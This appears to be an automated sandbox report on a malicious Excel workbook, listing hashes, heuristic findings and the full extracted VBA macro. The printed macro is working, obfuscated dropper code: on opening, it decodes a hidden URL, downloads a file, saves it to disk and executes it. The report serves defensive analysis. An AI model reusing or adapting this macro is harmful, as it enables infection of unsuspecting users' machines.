Office (OOXML) / .XLSX malware analysis — malicious · fdac4dd6972b064c

MALICIOUS

Office (OOXML) / .XLSX

170.7 KB Created: 2026-04-12 19:41:50 UTC Authoring application: Microsoft Excel 14.0300 First seen: 2026-06-22

MD5: b0f5ee48ff01685d9e7ba30d0f25fe6f SHA-1: 23b357580d565d7febdcb4f9382974ff41e9275e SHA-256: fdac4dd6972b064c744be4adafa8d84660406cc363ce7356188cee6b8035232a

248 Risk Score

Heuristics 7

VBA project inside OOXML medium 5 related findings OOXML_VBA

Document contains a VBA project — VBA macros present
WScript.Shell usage critical OLE_VBA_WSCRIPT

WScript.Shell usage
Matched line in script
```
    Set OjniBfhui = CreateObject("WScript.Shell")
```
VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC

VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
Matched line in script
```
KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFr = tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN.responseBody
```
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
    Set OjniBfhui = CreateObject("WScript.Shell")
```
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
Workbook_Open macro low OLE_VBA_WBOPEN

Workbook_Open macro
Matched line in script
```
Private Sub Workbook_Open()
```
Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	7522 bytes
SHA-256: `d2de6925fafab9ceafd881696aacbf1c92e5f555403aa618e569c2e6d639a872`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Public Function lbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNT(PcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyO) NiKPdZIVvvWfsTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz = " ?!@#$%^&()_+\|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåØ¶§Ú¥" KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdM = " ¿¡@#$%^&()_+\|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNØ¶QR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY" For o = 1 To Len(PcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyO) uxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLNiKPdZIVvvWfsTnSrIjITNgPmVhnjuL = InStr(NiKPdZIVvvWfsTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz, Mid(PcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyO, o, 1)) If uxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLNiKPdZIVvvWfsTnSrIjITNgPmVhnjuL > 0 Then ZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgR = Mid(KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdM, uxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLNiKPdZIVvvWfsTnSrIjITNgPmVhnjuL, 1) hlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbD = hlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbD + ZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgR Else hlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbD = hlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbD + Mid(PcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyO, o, 1) End If Next lbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNT = hlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbD End Function Private Sub Workbook_Open() Dim cdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBE As Integer cdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkrViiyBE = Chr(50) + Chr(48) + Chr(48) Dim OjniBfhui As Object Dim SpecialPath As String Set OjniBfhui = CreateObject("WScript.Shell") SpecialPath = OjniBfhui.SpecialFolders("Recent") Dim sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz Dim KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFr Dim ViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLNiKPdZIVvvWfs Dim OQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdL Dim IkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKe Dim TnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzK As Integer Dim tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN Dim KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFrkr TnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzK = 1 Range("A1").Value = "Please wait" Set tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN = CreateObject("microsoft.xmlhttp") Set IkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKe = CreateObject("Shell.Application") OQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdL = SpecialPath + lbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNT("\VâäZZ§THå.ÂÛÂ") tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN.Open "get", lbRgqYYLLnvIkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNT("hÖÖÓÕ://jÕ-hÙÔlÄÅg.ÁÒm/wÓ-ÁÒÅÖÂÅÖÕ/wÓ-ÁÒÅÖÂÅÖÕ/bhÖÖÓÕ://jÕ-hÙÔlÄÅg.ÁÒm/wÓ-ÁÒÅÖÂÅÖÕ/wÓ-ÁÒÅÖÂÅÖÕ/wÄÒÖÅldkÖhÂÕwqgÅÜlkÙÜÖgÅÜÃhÕÃÔÄkÃbÔÖÕwÛzbhÄÒÂÔÓghjkÙÄÒÓÙh/ÖÓÒÅÃghdjÀ.ÂÛÂ"), False tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN.send KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFr = tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN.responseBody If tCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdLN.Status = 200 Then Set sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz = CreateObject("adodb.stream") sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz.Open sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz.Type = TnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzK sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz.Write KcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKeXNtCCBFr sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz.SaveToFile OQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdL, TnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzK + TnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDzK sTnSrIjITNgPmVhnjuLZijtQLpqWewEuZUVTYKQXoPOfUXOoQwtcPlbRgqYYLLnvIkEjHYlZWQjgCmxDz.Close End If IkEjHYlZWQjgCmxDzKcdyzJhNrHouNVKqmmkpbTbFgRhlogEiMwshBriwGppcOqLYnUmXcBqnhzwTpNTPcftOQZkeHXqKe.Open (OQZkeHXqKeXNtCCBFrkrViiyBEwUkdMuxRuyMWsFsfGdbDlCosRsDxPMkFeVSevJfScAvXZGbgoeJSSRWtAHmzyORUMlAtdL) End Sub Attribute VB_Name = "Sheet1" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet2" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Attribute VB_Name = "Sheet3" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	23552 bytes
SHA-256: `cb8d430e9bd7d7ca505116be42676184fc15db5c49ccbb7e680114bb8eb47f44`
Detection ClamAV: No threats found Obfuscation or payload: likely 114 of 208 identifiers look randomly generated (e.g. 'bbOOpyKnGmJcocZTljFpzFBNfgBCLjQuJqwPXNto') — consistent with name-mangling obfuscation.

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